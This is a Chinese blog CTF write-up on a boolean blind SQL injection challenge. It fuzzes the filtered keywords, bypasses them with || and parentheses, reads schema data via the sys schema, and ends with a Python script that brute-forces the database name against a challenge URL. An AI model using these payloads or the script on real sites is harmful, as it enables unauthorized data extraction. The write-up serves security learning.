Author:颖奇L’Amore
Blog:www.gem-love.com
不知道这比赛是不是正在进行,防止被搜到,就不写出来比赛名称了
考点:布尔盲注
难度:简单
水群时候看到有人发的:
然后就去看了看,直接穿进去id数字然后进行查询
他这个题会直接输出过滤后的语句,所以能很直观的看到什么东西被ban掉了,就像这样:
简单fuzz后发现ban掉的有:
- or and &&
- 空格 /**/
- # —
还发现,id为1加上点什么符号,只要不破坏SQL语句结构,查询都能返回1的结果,比如:
1" 1a 1[
然而当查询的id为1’时候就输出不来东西了,说明id的值应该是被单引号包裹的。
继续测试,发现1||1=1
这样结构的语句不能执行。
接下来分析fuzz结果:
- 没有
or
and
&&
可以用||
代替or
- 空格可以用括号绕过
- 没有注释符就必须要把语句全部都放到他的这个单引号内执行
最开始想的是堆叠直接往出注,但是没成功:
然后开始测试布尔注入,因为是有单引号,里面保存的是字符串,可以利用字符串代替数字,平时用的比较多的是id=1||1=1
,改成id='1'||'1'='1'
同样有效。猜测它查询的SQL语句大概为:
select * from table where id = '$_GET["id"]' limit 0,1;
所以利用或运算,构造0||1使查询结果为True,Payload:
成功,布尔盲注可行。接下来就是要在||
后面构造自己的查询语句,测试发现0'||(substr((select('y1ng')),1,1))='y
成功:
题目告诉让拿到数据库名,然后用hackbar的SQLI得到的查询数据库的语句是这样的:
select group_concat(schema_name) from information_schema.schemata
这虽然可以得到全部库,但是or
被ban了,information_schema是含有or
的,所以以上Payload不可用。
对于无information_schema的SQL注入也是常考题型,比如i春秋2020新春战“疫”网络安全公益赛GYCTF第二天Ezsqli(点击可以查看本题目的WP),顺便推荐一篇文章:
聊一聊bypass information_schema https://www.anquanke.com/post/id/193512
尽管sys.schema_table_statistics_with_buffer
除了包含表名外还有数据库名,如图:
但在查询中我们并不能通过where来指定输出哪一行查询结果,因为table_name不知道,其他的column也都不知道或者不具有特异型,两种方法:
第一种,利用limit逐个往出跑,但效率不高
第二种,用group_concat()
连接起来一起输出:
btw,sys库里还有很多可用的,可以参考Yunen师傅的MySQL注入圣经:
https://xz.aliyun.com/t/7169#toc-53
这样基本已经够了,然而实际上还可以更简单粗暴一些,mysql中直接database()
可以得到当前数据库,如果当前数据库的名就是它要的结果,直接select(database());
就可以了。
本题中,我跑完当前数据库尝试跑了一下sys库,没出来东西,就没再继续测试了,当前库可以跑出来,题目应该就是要跑database()
,脚本:
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests
from urllib.parse import quote as urlen
url = 'http://47.100.93.16:9999/36382e8a7eb0a7b5f9c0cf885e370dbc/index.php?id='
alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
sql = "select(database())" #SQL查询语句
result = ''
for i in range(1,20):
for char in alphabet:
payload = "?id=0'||(substr(({}),{},1))='{}".format(sql,i,char)
# payload = urlen(payload)
urlnew = url + payload
r = requests.get(urlnew)
if r'Dumb' in r.text:
result += char
print("find: "+result)
# else:
# print(char)
跑出数据库名:7bB829bB9749093bB48
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://www.gem-love.com/ctf/2289.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示